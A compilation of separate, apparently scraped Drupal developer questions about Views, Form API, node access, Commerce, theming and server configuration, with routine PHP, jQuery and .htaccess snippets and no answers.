But I get errors in the test that refer to the original class, and not the one I am trying to replace. I looked around in the core but wasn't really able to find what I was looking for. Does it make sense to do this? Is there a way to do a Kernel test to test responses from the route in question?


texts:
Does anyone have an issue with the fancy insert module, not actually inserting the image on click recently?

It looks like the javascript in the fancy insert was hooking into the insert button by traversing up from each image thumbnail.

// Click on Insert button when an image is clicked
      $('#' + value + ' img').bind('click', function (e) {
        $(this).parent().next().find(".insert-button").trigger("click");
      });

I can't see any obvious reason why this would have stopped functioning with updates.

So my question is, has anyone else run into this issue with the latest Drupal core updates? At first I thought it was a lack of unique id on each imagefield, but after reviewing the code again I don't think that is the case.

At any rate am looking for anyone who may have run into this and found a fix.


texts: Views Exposed Filter Form Submit handler

texts:
I have a Views with an exposed filter block and put the block on the front page.

I use the following code to add a custom submit handler.

function mymodule_form_alter(&$form, &$form_state, $form_id) {
  if($form_id == 'views_exposed_form' )
  {
    array_unshift($form['#submit'], 'manage_custom_filters');
  }
}

function manage_custom_filters($form, &$form_state) {
 dpm($form['#id']);  // output views name
}

Here is the question, whenever i load the front page, the manage_custom_filters get called, i suppose it will be called only when i submit the exposed filter form?

I did the same thing for node form submit, it does not behave like the views exposed filter form. manage_custom_filters only get called when i submit the form.

Is this the correct behavior of views exposed filter form?

How do i differentiate the manage_custom_filters is get called by 'on load' or submit action?


texts:
Possible Duplicate:
  How to download JPG file from the server

I have written a custom module in which i have a download button like given below.

$form['topics_info_graph']['download_graph'] = array(
 '#type'  => 'button',
 '#value' =>  t('Download Graph'),
 '#button_type' => 'button',
 '#ajax' => array(
   'callback' => 'digitaliq_bckgrd_variable_ajax_download_callback',
   'wrapper' => 'download_graph',
   'event' => 'click',
 ),
);

Onclick of this button i need to download a jpg image which is located in the temp folder.
I'm able identify the file name and the path, I need to download the file using Ajax Call. Any help?

function digitaliq_bcgrd_variable_file_download($filename) {
  $temporary_directory = variable_get('file_public_path', conf_path().'/files').'/tmp';
  $temp_path = $temporary_directory . '/';
  // Download logic should come here, any help?
}


texts: To know what theme functions are available

texts:
I wonder if there is any method to obtain all available options for theme() function in Drupal installation? (I mean those one that are declared through HOOK_theme()). Or at least a resource where the most common uses are noted.

P.S. This is not trivial question for me, because almost every module introduces its own hooks for theming and if I don't know about them I can not leverage from theming opportunities. For example if I don't know about theme('table', ....) or theme('fieldset', ....) I have to write my own hooks that, e.g., another developer in his turn will  not be heard of, etc.

Thank you.


texts:
I'm trying to find a D7 hook that runs on admin pages (admin/people/create to be exact). I've tried many hooks, but none of them seem to be firing on admin pages. What is the best way to detect if user is on admin/people/create?

Thanks


texts: Add js depend jQuery in a specific content type

texts:
I need to add js file with jQuery syntax on a specific content type.

I tried on twig template but I get jQuery or $ not a function,

If I have js native syntax only, it is working great but not with jQuery syntax.

I think that this is not the right way to add a js depend jQuery file to a specific page.

I an wondering, What is the right way to do it?

Thanks a lot.


texts:
My customers are required to provide an address at checkout (Shipping information pane). They can also create an account after checkout is complete (Guest registration after checkout pane).
But the Customer information / Address form is empty:

Is this normal behavior? Is it not supposed to pre-fill the form with the shipping info the customer provided during checkout? I couldn't find any option in Commerce settings.
Any idea on how I could make this happen? Do I need to implement it by myself?

Drupal core: 8.9.3
Commerce: 8.x-2.20


texts:
I have to set, programmatically, the title value of pages, only for browser title bar (this value is stored in a metatags_quick field)
If I use "drupal_set_title" I change also the title displayed in page, I've only to change the window title.


texts:
I am looking for a module that finds related pages for the purpose of linking them internally. For example, we have two pages, both have the name "Kill Bill" in their content, but they are not linked. The module would put the similar content to attention so that the editor can link the two pages. Or something similar to this.

I could implement Solr but it's not the preferred option.

Thanks


texts: When should I add a new tpl.php file, and when should I implement a theme function?

texts:
Two part question, both highly related.

Can all templates be implemented both as a function in template.php, and as a separate tpl.php file?
In the cases where you can do both, are there advantages to either of the approaches?


texts:
In an old blog post, Larry Garfield refers to "registry-style" hooks and hook_nodeapi type hooks.

When it comes to breaking down the different types of hooks, there doesn't seem to be any documentation. There is the big list of hooks and Tim Plunkett found two defgroups dealing with hooks, but there doesn't seem to be a formal breakdown of what different types of hooks we have.

What would such a breakdown look like?


texts: node_access check against array of node ids

texts:
I am in middle of a problem where i have to check node access of current user against an array of node ids.

I have a two content types (A and B) and one contains the reference of other based on a taxonomy. A contains a user role reference fields to allow access to certain roles only. Now i want to show related contents from A on detail page of B. I have used a custom query to fetch all nodes from A somehow related to B. So code is looks like:

$related_nodes = <function_to_get_related_node>;
$result = node_load_multiple($related_nodes);

I have restricted couple of node from A content type to display only certain user roles but $result shows all node from A. Node access not worked.

In my function i have used db_select() with addTag('node_access') but it doesn't seems to be working.

So Basically i want some sort of code to check node_access on array of $related_nodes and filter before it passed to node_load_multiple function.
Could someone help me find a way? Thanks!


texts:
I have created a custom profile field called "field_protection". I am using the following code to reference that field but am getting error:

Notice: Undefined index: und

$is_protected = 0;
   $is_protected  = (int)$act->field_protection['und']['0']['value'];
    if ($is_protected == 1) {
      form_set_error('from', t("Protected !!!"));
      return;
    }


texts:
I'm having difficulty on a fresh Drupal installation getting the menu to use an alias (let's say "foo") rather than "node/#" link. The alias works when I type it straight into my browser. When creating the menu, I specified the alias (foo) but it automatically applies the system path to it.

The message that comes up is:

The menu system stores system paths only, but will use the URL alias for display. home has been stored as node/1

This doesn't come up as an error, rather just an information dialogue.

For this installation I did a minimal install as I wanted it to be a fairly simple website. I've never done this before so there were a few modules I had to enable to get it working how I wanted. I'm thinking maybe there's a module or menu setting that isn't enabled by default using the minimal install.

I'm not using any language packs, and none of the solutions on the following questions were successful (most revolve around languages.)

URL Alias does not work in Menu-Blocks with i18n (pathauto also installed)
How do I use URL aliases in menus?


texts: How to use entity autocomplete for "user" target_type with specific roles?

texts:
I have created a form field with user autocomplete as below.

$form['user_list'] = [
      '#title' => ('Select User'),
      '#type' => 'entity_autocomplete',
      '#target_type' => 'user',
      '#required' => TRUE,
      '#selection_settings' => [
        'include_anonymous' => FALSE,
        'roles' => ['sales'],
      ],
    ];

I used "#selection_settings" with roles specific, but this is not working.
I want to filter user with "sales" only.


texts: unable to add,edit,delete content types in drupal 7?

texts: I'm unable to add, edit, delete content types and content also in Drupal 7, the button links are not working. If I click add, edit, delete button below an error happens. What could be wrong here?


texts: How can I change page title in search results page?

texts:
When user search Drupal 7 site, output page's title becomes:
"Search | example.com"

But i want to make page title as:
"Search: keyword1 keyword2 .. | example.com"

I installed "Page Title" module but i couldn't change it by it.
Is there a module to convert page title regarding to this?

Thank you very much


texts:
I am using Gmap + location for show my store locations on my page.

I have added near about 50 locations. However on map it is showing only 10 locations.

I want to show more than 10 locations. Can you please let me know how it is possible.**

Thanks


texts: List of parent nodes with a sublist of child referring nodes on a single content type

texts:
I have a content type Article with an Entity Reference to himself.

Demo content:

Article 1 -> No ref
Article 2 -> No ref
Article 3 -> Ref to 1
Article 4 -> Ref to 1
Article 5 -> Ref to 2
Article 6 -> Ref to 1, Ref to 2

Step 1: I want a View list to display every node that doesn't referring to anybody. So: Filter criteria: RefField = Is empty works nice and the results:

View list results:

Article 1
Article 2

Step 2: Display the title of every node that is referring to the ‘parent’

View list results:

Article 1
   Article 3
   Article 4
   Article 6
Article 2
   Article 5
   Article 6

I'll break my head! The same architecture works fine if I have 2 content types, but I can't figure out with a single content type.

Edit: When I create a relationship: Entity Reference: Content referencing Content from field_Article_Ref and then add a Field and use the above relationship: (Content referencing Content from field_Article_Ref) Content: Title (Title). It displays the childs but the results are not grouped (even I use query settings->Distinct) and looks like:

Article 1
   Article 3
Article 1
   Article 4
Article 1
   Article 6
Article 2
   Article 5
Article 2
   Article 6

How I can group the results?

After that point go to Format->Settings->Grouping field Nr.1 and group by the desired field.


texts: How to make existing fields available to be created as instances on other content types etc.?

texts:
I have created a custom module that simply creates a set of standard fields via a .install file. It's very simple, basically:

foreach (my_fields_fields() as $field) {
  if (!field_info_field($field['field_name'])) {
    field_create_field($field);
  }
}

function my_fields_fields() {
  return array(
    'field_my_first_name' => array(
      'field_name' => 'field_my_first_name',
      'type' => 'text',
    ),
    ...

On enabling the module, I can see that the fields have tables in the database. However, if I navigate to admin/structure/types/manage/article/fields and drop down - Select an existing field - in the Add existing field section, the fields are not present.

I don't want to create any instances of my fields in my module (do I?) because it is for other users/systems to create field instances if they want to.

How do I get Drupal to make my fields available? Thanks.


texts:
We're not Drupal developers and need to move the content from a Drupal site to a WordPress site.

We've already tried a plugin to help with this but it only imports a limited amount of content.

We then investigated it a little further and managed to find the Views module to export the content.

It is possible to duplicate Views which we will then rename Export To WordPress but it is not possible to convert those Views from the existing Table Format to RSS which we need to be able to import back into WordPress.

If there is a better way to do this, we would appreciate the help.


texts:
I'm trying to use an uncotroversial piece of code to change the background color
of a div when the mouse hovers over it.

Currently, my install of drupal refuses to register the hover event, I have tried substituting my code with a console.log('hovering') and I still get nothing.

here is the code. http://jsfiddle.net/tmXfW/2/

( function($) {
        var msg = $().jquery;
        console.log(msg);
        $('div.quicklink-row').hover(function() {
                $(this).addClass('blue-link');
        }, function() {
                $(this).removeClass('blue-link');

        });
})(jQuery);


texts: Form AJAX - Update button value via Ajax

texts:
I have a custom form in Drupal that ties into Entity-generating code. In essence, there's a button which should return an ideal Entity state (determined in a method that returns true or false).

The code below fires the method in question, but even if it gets a return value from the method, the value of the button never changes.

Am I overlooking something as simple as returning a new #value in the AJAX callback?

function example_mark_block_form($form, $form_state) {
  $form = array();

  $is_marked = _example_is_user_marked();

  $form['mark-changes'] = array(
    '#type' => "button",
    '#id' => "mark-changes",
    '#default_value' => t($is_marked),
    '#prefix' => "
",
    '#suffix' => "
",
    '#ajax' => array(
      'callback' => 'example_mark_follow_ajax_response',
      'wrapper' => 'mark-wrapper',
      'method' => 'replace',
    ),
  );

  return $form;
}

/**
 * AJAX callback for the follow response
 */
function example_mark_follow_ajax_response($form, $form_state) {
  global $user;

  return $form['mark-changes'];
}


texts: Saving the module configuration form data

texts:
I am using Drupal 7.

I want to create an add-on module for Entity External Rating module.

In that I want to give the form to users where users can select the content types, and based on that selected content type links of twitter and facebook will be displayed.
i.e if I select 'article' content type then facebook and twitter links will be displayed on that content type only.

I have created an admin file and configuration form, but i am not sure where should I store the selected values.

I have added the code  below which will display the form with listing of all the content types.

function entityrating_addone_admin_settings() {
$form['entityrating_addone_content_type'] = array(
        '#type' => 'fieldset',
        '#title' => t('Select content type for Entity Rating'),
        '#description' => t('Define title excluding settings for each content type.'),
        '#collapsible' => TRUE,
        '#collapsed' => FALSE,
);

$node_types = _node_types_build()->names;
foreach ($node_types as $node_type => $node_type_label) {
    $form['entityrating_addone_content_type']['entityrating_addone_content_type_value_' . $node_type] = array(
            '#type' => 'select',
            '#title' => $node_type_label,
            '#default_value' => variable_get('entityrating_addone_content_type_value_' . $node_type, 'none'),
            '#options' => array('none' => t('None'), 'all' => t('All nodes'), 'user' => t('User defined nodes')),
    );
}
return system_settings_form($form);

}

Above code will display the list of all the content type for configuration, but i don't know where to store this values, so i can retrieve while displaying node.


texts: How to send the emails related to the user account in HTML?

texts:
I want to send the emails related to the user account in HTML version:

forgotten password
new account
account canceled
...

If I make a copied paste of my HTML code, it does not work.

/admin/config/people/accounts

How to send the emails related to the user account in HTML ?


texts: How do I create a view to re-arrange blocks or menu items?

texts:
I would like to create an admin view that allows to reorder menu items. I know it is a standard admin feature, but I would like to display it in a panel.

How can I do that ?


texts: Show "Add more items" for fields of limited cardinality?

texts:
Is there a way to modify the behavior of a field that has limited input to do the 'add more items' button instead of show X fields on the screen?

For instance, I have added a link field, that can have up to 5 link values. When it is displayed on the form, it shows 5 empty link fields, instead of one with the option to add more. This display is cumbersome, and makes users believe they must fill all of the fields in, and conversely, become unsure how to 'remove' a link since clearing the field value is less intuitive than clicking 'Remove' that some other fields have.

For UX/training purposes, I would like for fields on forms to behave consistently for limited or unlimited. Has anyone accomplished this behavior using the Form API?


texts: Views PDF module does not support Global Views result counter field drupal 7

texts:
Views PDF module doesn't support in Global Views Result Counter field in drupal 7 in PDF Table format.

If anyone knows.... help me to solve this issue


texts: How to add custom permission for a node?

texts:
Is there any way to add custom permissions for a node?

Here is the requirement: I have a node where I have to set 2 permission, view & subscribe. View permission I can use the default content view permission. But how can I introduce a new permission for subscribe?


texts: Run my JS after views slideshow has finished loading?

texts:
My javascript executes on window load, resize and orientation change.

jQuery(window).bind("load resize orientationchange",function (e) {
//do something
});

This worked fine until I started using the views slideshow. My code runs before the slideshow. As it measures elements on the screen it doenst work properly. If I resize the browser (so the code re-fires) then it works as expected.

How can I make my code run after views slidehow has finished loading? I also need to re-execute the code every time a slide changes.


texts: Is there a way to hook on cache clearing?

texts:
For a big institution website, with heavy caches, I'd like to generate caches as soon as possible, so that no user may arrive on cache generation...

I have a cron set all minutes that does it, by executing a few functions and requesting critical pages, but what I'm looking for is a way to know when the cache has just been cleared, preferably a hook, so I can launch this generating-functions.

Any idea ?


texts: Links in view - wrong language selection

texts:
Ok, I'm not sure where should I go with this problem, so forgive me if this is not the exactly best place for it.

I've created multilanguage site, of course, got many problems, but solved them all - so far. Now, when I launched german version of a site, I realized there's a problem. I have a content type of X, made a view to display a page containing table with all the X content types. Just usual listing. The link to it is in the menu, displaying only for german language. So far all in that version worked fine, but now I see there's a problem.

Content X - link for adding it is on german version only and while adding it, it works fine. But when I'm on my view page, when I click on any title of content X type (which is a link of course) I'm getting redirected to default site language. And it should stay on german version. I can't think of any ideas, so: what is wrong? How can I fix it?


texts:
I use Commerce. I have some products whose price is "per thousand". For example, I sell screws. The price for one thousand is 10$. I want to show 10$ as product price in web, but I want the seller could set quantity in thousands. Then, the seller put, for example, 2500, and the total line should be 25$. But I see: unit price 10$, quantity 2500, total line 25$.

I don't want to alter the unit price because I'll lost precision. I need to alter the way the total line is calculated, and if a product is of this kind, the total line will be divided by 1000.
I've tried to do it with rules, but I couldn't do it because I can't alter total line.
Thanks in advance.

UPDATED:
After some test, finally I use Commerce decimal quantities module. I add a rule to divide by 1000 the quantity selected by the user. Then, internally I have decimal quantities that give me the right price. I also change the cart's views to show the quantity multiply by 1000. Hope can help for someone who need it. Thanks.


texts:
I seem to getting an error when trying to apply a patch and I'm a bit stumped on where I am going wrong if anyone knows that would be fantastic - I need to apply this patch: https://www.drupal.org/files/issues/media_entity_image_thumbnail_problem_2767501_13.patch

I am inside the mysite/public folder where I have placed the patch file and then try to run:

git apply media_entity_image_thumbnail_problem_2767501_13.patch

It doesn't seem to do anything so I then run:

$ patch -p0 < media_entity_image_thumbnail_problem_2767501_13.patch

can't find file to patch at input line 5
Perhaps you used the wrong -p or --strip option?
The text leading up to this was:
--------------------------
|diff --git a/src/Plugin/MediaEntity/Type/Image.php b/src/Plugin/MediaEntity/Type/Image.php
|index 09b9655..398d3c0 100644
|--- a/src/Plugin/MediaEntity/Type/Image.php
|+++ b/src/Plugin/MediaEntity/Type/Image.php
--------------------------
File to patch:

it seems to have an isssue with: @@ -7,6 +7,7 @@ use Drupal\Core\Datetime\DrupalDateTime; should I be placing the patch file somewhere else?


texts:
I'm using a view to display articles, I want to see views row classes in the code, like this:

div class="views-row views-row-1 views-row-odd views-row-first

But for some reason the rendered code is missing these row-specific div wrappers and just shows the nodes like this:

div id="node-4" class="node node-article"

Even more frustrating, the code in the views PREVIEW shows the desired views row classes div class="views-row views-row-1" but those div wrappers don't appear in the rendered site code.

On the last site I made, the views-row classes appeared automatically. Now for some reason they're not appearing. I've been frantically googling and pulling my hair out for two days on this so any help you could provide would be greatly appreciated :-)


texts:
When running cron manually via GUI the cron starts to run but I have traced down the failure to hook_node_view in one of my modules.

The code is:

if ($node->nid == 47)
{
     //THIS CODE IS HAPPENING, but HOW in hook_node_view when running cron?
     drupal_goto('node/48');
}


texts: Have user register or login on cart instead of checkout in drupal commerce

texts:
Is it possible to have the user account pane in the cart instead of the checkout?

I need to have users logged in or registered on the cart, because when users checkout I have a custom rule to change the order to a custom state "awating approval", and sends the user to a custom page with some text. Once the order is approved by the staff the state is changed to another custom state "approved" and a custom rule sends an email to the user so he can checkout and finish paying.

The problem is that if the user hasn't enetered his details before attempting to checkout, the email won't be saved and we have nowhere to send the user an email to finish checking out once the order is appproved.


texts: Entity Reference Error when uploading profile picture

texts:
We are getting the following error when uploading a profile picture as an authenticated user.

Drupal Version is 8.5.1. Its working fine for admin users. We don't have any permission modules installed on our site. Any idea why this error is coming?


texts: How to associate the last image from gallery to user's profile picture

texts:
In Drupal 7  (Commons 7.x-3.46).

I've created a new content type, by which each user can upload images and build a personal picture-gallery.

How can I now associate the last-uploaded-image to the user's profile-picture?

Amodule-based solution is preferable. Is there a better way of doing this, ie without a new content type? Essentially I'm looking for a user-friendly way for users to upload and show their profile pictures.


texts: How to setup gmap maps on nodes (using location fields)

texts:
I use the gmap and the location to show maps in nodes by adding the location field to the node content type.

Let's say I have 2 content types: Pubs and Restaurants
Each one of them have a location field which allows me to show a map for the nodes.
So far so god.

My problem is that I see no way to setup the map (zoom, marker, ...) in a different way for each one of the content types.

Let's say I want to set the zoom for Pubs' maps to 12 and the zoom for restaurants' maps to 10.

The only way I see to setup the maps is in admin/config/services/gmap, but these setting affects maps in all nodes of all content types.

I need to customize maps for each content type.


texts: Getting rid of module-specific control logic

texts:
I'm writing a module that can have some additional functionality if other modules such as Block or Menu are enabled, but I don't want to declare them as a dependency.

Currently I'm using if(module_exists($module)) { ... } to provide module-specific functionality within my custom module (in this case, defining a particular view if the module in question is present).

However I've heard that this is not the right way to provide module-specific features, and that instead I should use hooks and plugins. The only problem is that I don't really know what that means or how to get started converting my module to using those instead of if()s.

How do I define a custom view that depends on another module without using an if()?

One of the things I am trying to do is to expose that module's SQL tables to Views if the module exists, and then define a custom view with those tables.


texts:
So many of us know that the Rate module does not smoothly integrate with Panels.

I discovered out a way to get the voting widget to show using a custom content with the following PHP code:

<?php
if (arg(0) == 'node' && is_numeric(arg(1)) && ($node = node_load(arg(1)))) {
   print rate_embed($node, 'bias', RATE_FULL);
}
?>

Has anyone had any luck with doing something similar to display only the vote results (i.e. display total percent of that vote)?

I'm not a PHP wizard, but I think there is way by doing something like the following.

<?php
if (arg(0) == 'node' && is_numeric(arg(1)) && ($node = node_load(arg(1)))) {
   print get_rate_resluts($node, 'bias', RATE_FULL);
}
?>

But end up getting either blank pages or some fatal database errors. Thoughts?

Update:
I think I figured out that I need to create a custom content to print the output after reading it here. Tried this:

$block['content'] = rate_get_results('bias', $nid, $widget_id) $output['rating'];

But it looks like it does not do anything which is better then seeing a blank page.


texts:
I have a drupal site running on a server with two domains pointed to it: domainA.com and domainB.com. I would like domainB.com to serve a specific landing page, http://domainA.com/landing-page. I know I can do a normal htaccess redirect like this:

RewriteCond %{HTTP_HOST} ^domainB\.com
RewriteRule ^$ http://domainB.com/landing-page [L]

Which will serve my users the correct content.

But I would rather the path wasn't added to the url.  Is there a way to do a 'transparent' redirect for domainB.com so that http://domainB.com/ serves up the content from http://domainB.com/landing-page without modifying the url? So that it seems more like the 'homepage'?


texts: Cannot load ctools automodal associated menu call from another module

texts:
I have several modules that make extensive use of the Ctools Automodal modal to activate custom-driven modals. These Link references live in their own module, example_item_modals:

/**
 * Implements hook_menu()
 */
function example_item_modals_menu() {
  $items['product/product1'] = array(
    'page callback' => 'product_order_modal_1',
    "access arguments" => array('interact with orders'),
    'type' => MENU_LOCAL_TASK,
    'modal' => TRUE
  );

  $items['product/product2'] = array(
    'page callback' => 'product_order_modal_2',
    "access arguments" => array('interact with orders'),
    'type' => MENU_LOCAL_TASK,
    'modal' => TRUE
  );

  return $items;
}

We have another module that loads in a User Profile (developed by another third party) and the requirements call for loading some of the products here, and interacting with the modal. Actually displaying the links are done using a tpl.php call to those menu calls with an l().

    <?php echo l("View Product", "product/product1"); ?>

So when we eventually load the template call in this custom user profile module, this link should load and have the necessary logic to fire the modals. Except, its not. Here, it treats it like a backpage link. Is there something I am missing for this link to function as a modal? Do I need to explicitly include the parent module the links are defined with, and if so, what API call accomplishes that? (I looked at module_load_include() but i'm importing settings thrown in the .module, not a .inc file).


texts:
I'm a designer who is doing a design review on a Drupal 8 website. I'm having trouble doing the design review because 'admin objects' are getting in the way of the full page design:

Admin bar at top of screen

View, Edit, Up-Publish etc buttons below the header

Sticky provide feedback bar

(Sorry can't show the full page due to NDA)

Usually I would just log out and preview live site, but the staging server for this project is hidden behind multiple logins and trying to access the website when not being logged in just redirects to the currently live (old) Drupal 7 website.

Any idea for how to remove these items and just preview the normal page?

Thanks


texts: How add fields programmatically to a custom entity bundle?

texts:
i create a custom Entity,

  CustomEntity.php

public static function baseFieldDefinitions(EntityTypeInterface $entity_type) {
    $fields = parent::baseFieldDefinitions($entity_type);

    $fields['name'] = BaseFieldDefinition::create('string')
      ->setLabel(t('Name'))
      ->setDescription(t('Name'))
      ->setSettings([
        'max_length' => 50,
        'text_processing' => 0,
      ])
      ->setDefaultValue('')
      ->setDisplayOptions('view', [
        'label' => 'above',
        'type' => 'string',
        'weight' => -4,
      ])
      ->setDisplayOptions('form', [
        'type' => 'string_textfield',
        'weight' => -4,
      ])
      ->setDisplayConfigurable('form', TRUE)
      ->setDisplayConfigurable('view', TRUE);

    return $fields;
  }

We can add fields programmatically here for the Main entity and then all bundles ll automatically inherited fields from mother.

So i set a bundle in myModule/config/install:

  myModule.customEntity.bundleA.yml

uuid: db129d12-849a-4e68-bb56-d787b4b0cf42
langcode: en
status: true
dependencies: {  }
id: bundleA
label: bundleA

I am looking for add fields programmatically to that bundle .

So i create with the admin interface all fields and have export all config files into my install folder.
But it's a lot of files: storage / view / field / form.

Is there another way like the main entity for example ?


texts:
In Drupal 7. I am printing a cck field image to my page.tpl like this

<?php print render(field_view_field('node', $node, 'field_slide_photo1',
array('label'=>'hidden'))); ?>

and I get this error php  Strict warning: Only variables should be passed by reference in include() (line 59 of var/www/html/upgrade2a/sites/all/themes/themea/page.tpl.php

But I can use this in node.tp with out errors?
    print render($content['field_upload_thumbnail']);

How do a print a field that is available in the page template?


texts:
Just learning Omega 3 and 4 is out so I'm switching to try it out, but.. how does one install a subtheme manually? My drush is whacked and I already running multiple installs so I just want to do it manually.

However, copying the "default" folder to the sites/all/themes/ folder... there is no info file... so I duped the one in Omega, changed the name and it shows in the Appearance menu. However, the name isn't correct and I've gone through the few files to see what to change to my themes name but there was only one file.

So, I enabled one, it enables, but then when I click "Settings" next to that theme, I get the WSOD.

Seems not to be the same process as in D6 or even Omega 3. Anyone installed a subtheme of Omega 4 yet manually?


texts:
I got a script that will change headlines etc in the CKEdtior. I'm sure a lot of you have done this before. Talking about the ckeditor.styles.js

Now, where do I apply this script into CKEditor? I can't find it anywhere. Can somone walk me through of how do add it into CKEditor

Thanks!


texts: Deleting records from a search result however not from the database

texts:
I am trying to build a Candidate database site using Drupal 7.38 version

My Query: How do I save & delete certain search results from a search initiated however Not delete those results from the main database?

Eg. If I search for Manager in my database I would alos get General managers in the search result. How do I delete the general managers only from the search result & save Just the managers in a separate view?

I am not a developer, hence do not know a work around on this, please let me know any possible solutions to my issue.

Thanks for your help.


texts: Unable to programmatically render webform with supplied default values

texts:
I have a block that is rendering a webform programmatically however I want to change a field based on the node that it's appearing on. I'm performing this like so.

    $webform_id = 'contact';
    $current_node = \Drupal::routeMatch()->getParameter('node');
    $contact_form = \Drupal\webform\Entity\Webform::load($webform_id);
    $values = ['data' => ['contact_email' => $current_node->field_email->value, 'message' => 'test']];
    $contact_form->getSubmissionForm($values);
    $contact_form_render = \Drupal::entityManager()
        ->getViewBuilder('webform')
        ->view($contact_form);
    return $contact_form_render;

It is able to render the webform just fine, however the supplied values for the contact_email field and the message field do not appear, even though they were supplied as a parameter for getSubmissionForm. I've used https://www.drupal.org/docs/8/modules/webform/webform-cookbook/how-to-embed-a-webform as an example but I don't seem to see any discrepancies between my code and theirs.

Is there something wrong with how I'm supplying the values to the programmatically rendered webform?

UPDATE: I tried doing things in a more manual manner

$form_storage = \Drupal::entityTypeManager()->getStorage('webform');
$webform_submission = $form_storage
      ->create(['webform_id'=>'contact', 'data' => ['contact_email' => $current_node->field_email->value],'message' => 'testing']);

$contact_form_render = \Drupal::entityManager()
      ->getViewBuilder('webform')
      ->view($webform_submission);

However I get the error

  Exception: Webform id (webform_id) is required to create a webform
  submission. in Drupal\webform\Entity\WebformSubmission::preCreate()
  (line 586 of
  modules/contrib/webform/src/Entity/WebformSubmission.php).

Even though I'm explicitly setting the webform_id.


texts: Basic: render image field values as an array

texts:
I'm looking for a way to list the values of my image field. This list should use the image style "large" for instance. Strangely enough the latter is not visible when I output the field values with print_r:

[field_fotos] => Array
    (
        [und] => Array
            (
                [0] => Array
                    (
                        [filename] => 7.jpg
                        [uri] => public://default-image-folder/7.jpg
                    )

            )

    )

Basicly I'd like to turn all the images that are uploaded to the image field to this list:

(Remark the difference between the image folders for thumbs and full images, which is actually their image style [be it simplified for illustration])


texts: Display average "Votes: Value" as stars in Views

texts:
I have created a table in Views 3 where ratings are averaged according to days of a week. But the ratings are showing as values between 1-100.

How can i convert these values in star rating from 1 to 5? I am unable to make it work either using Rate or Fivestar modules. I would prefer a solution through views ui but dont mind alternatives.


texts: How to add Checkbox Fields to User Accounts?

texts:
Is it possible to add multi-choice checkbox fields to a Content Type or the fields of a User Type? Hoping it is possible to create the following when a User is registering for an account. They should be able to choose multiple check boxes when registering.

Desired output in user registration form:

<input type="checkbox" id="checkbox1" name="checkbox1" value="first-choice">
First Choice

<input type="checkbox" id="checkbox2" name="checkbox2" value="second-choice">
Second Choice

<input type="checkbox" id="checkbox3" name="checkbox3" value="third-choice">
Thrid Choice


texts:
Still new to Drupal, but I've read over the docs countless times and can't figure this out.  I'm not seeing Twig's debug comments. I am using a sub-theme of 'Bootstrap 3'. Running on local environment in Windows (XAMPP).

In /sites/default/services.yml

debug: true
auto_reload: true
cache: false

I've cleared the cache more times than I can count.  I've also tried, unsuccessfully, making various changes to settings.php as well, however since these changes aren't in the docs I'm guessing they shouldn't be required for enabling debug statements.


texts: Display all comments of node without pager (300+ comments)

texts:
I have a content type with threading comments. The max number of comments per page is set to 300 (that is the absolute max). If there is more than 300 comments - they get paged.

How do I show all comments of the node without the pager (300+ comments)?

This is a desired function knowing the negative impact on UX.

I couldn't find any theme functions/ hooks that can be used for setting a new max for comment pagers. Please, do not suggest to render comments via Views.


texts: Getting error 'The requested page could not be found' after https is enabled

texts:
The link to my content is lost

default settings:

# Set "protossl" to "s" if we were accessed via https://.  This is used later
  # if you enable "www." stripping or enforcement, in order to ensure that
  # you don't bounce between http and https.
  RewriteRule ^ - [E=protossl]
  RewriteCond %{HTTPS} on
  RewriteRule ^ - [E=protossl:s]

my serversupport suggested:

#Rewrite everything to https
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

both didn't work, when comment out everything. My link to the content is fixed using http.

how to solve this?


texts: Site Access control through a particular user field

texts:
I am trying to only grant user the access to the site if one of the user fields have a particular value.

If not, the site should show an access denied.

Is there an efficient way to achieve this?


texts:
I look at the List of tokens and I see a lot of tokens with the same name and description, but some node have :source appended to it. Some of these, such as [node:title], I can understand, since title is a field of the node. But what is [node:source:title], or [node:source:source:title]? There's even an [node:source:source:source:source], which has the description 'The source node for this current node's translation set.'

What is :source in the Token module?


texts: Deny node access depending on field value

texts:
I'm trying to restrict the access to nodes of type article depending on a field value of the node. When I implement hook_node_access() it seems to have no effect on the node.

Even if I try to restrict the whole access it seems to have no effect.

function mymodule_node_access($node, $op, $account) {
  $type = $node->getType();
  if ($type == 'article') {
    return AccessResult::isForbidden;
  }
}

What's my mistake?


texts: Reuse Javascript library in custom block

texts:
I need to create multiple custom blocks reusing the same template(XXX.html.twig) and associated js file.

This is how I am trying to implement it.

1)Create separate blocks by extending BlockBase

2)Defined a template in MODULE_NAME.module file using hook_theme and declared the variables that can be passed to the template

3)Created the template file(xxxx.html.twig) defined in the theme.

4)Created a custom js file which retrieves data from a url and populates the elements declared in the template file. The custom js file accepts the url as a drupalSettings variable.

5)Defined the custom js file as a library in MODULE_NAME.libraries.yml and attached it to the block in BlockBase. The variables required by the js file are passed from  the block using ['#attached']['drupalSettings']

Here is my build method of one of the blocks

 public function build() {
     return [
      '#theme' => 'news_headlines',
      '#table_uniq_id' => 'top_news_headlines_table',
      '#attached' => array(
        'library' =>  array(
          'custom_cms_blocks/dataTables.dataTablesjs',
          'custom_cms_blocks/news-headlines-library'
        ),
        'drupalSettings' =>  array(
          'custom_cms_blocks' => array(
              'top_news_headlines' => array(
                  'service_url' => 'http://localhost:8181/test_domain/newsheadlines',
                  'table_uniq_id' => 'top_news_headlines_table'
               ),
           ),
        ),
      ),
     ];
  }

I have multiple such blocks with the same configuration and only the variables passed to the template and the js file varies.

My logic is not working. The js file is only getting invoked once even though it is attached to multiple blocks.

How do we invoke the custom js library for all the blocks and pass different values for the variables for each block.


texts: Why is 'Authenticated' only sometimes added to the users_roles table?

texts:
I understand as a default drupal does not include a row in the users_roles table for role 2 (Authenticated User), but it appears that sometimes it does, and I can't understand any rhyme or reason to it.

My drupal site authenticates through ldap, but I haven't set up any additional groups or other automated processes for assigning roles.


texts: How to print only certain block of content in a view

texts:
I have a view that displays shipping details that you print and put on a box before shipping. But using Print module when you click the link it gives entire page to print with all the headers, footers and menus. I need only that block of text rendered by a view.

Also I couldn't make the Print module link appear in a view even though it claims it works, so I had to use View Footer Area and add some PHP to make link work.

<?php $current_url = getenv('REQUEST_URI'); ?>

<a href='/print<?php print $current_url; ?>'>Print

But like I said it prints entire page and I need only view content.


texts: How to remove a role after a user adds a payment method in Commerce?

texts:
I am trying to set up a subscription-based site in Drupal 8/Commerce 2.
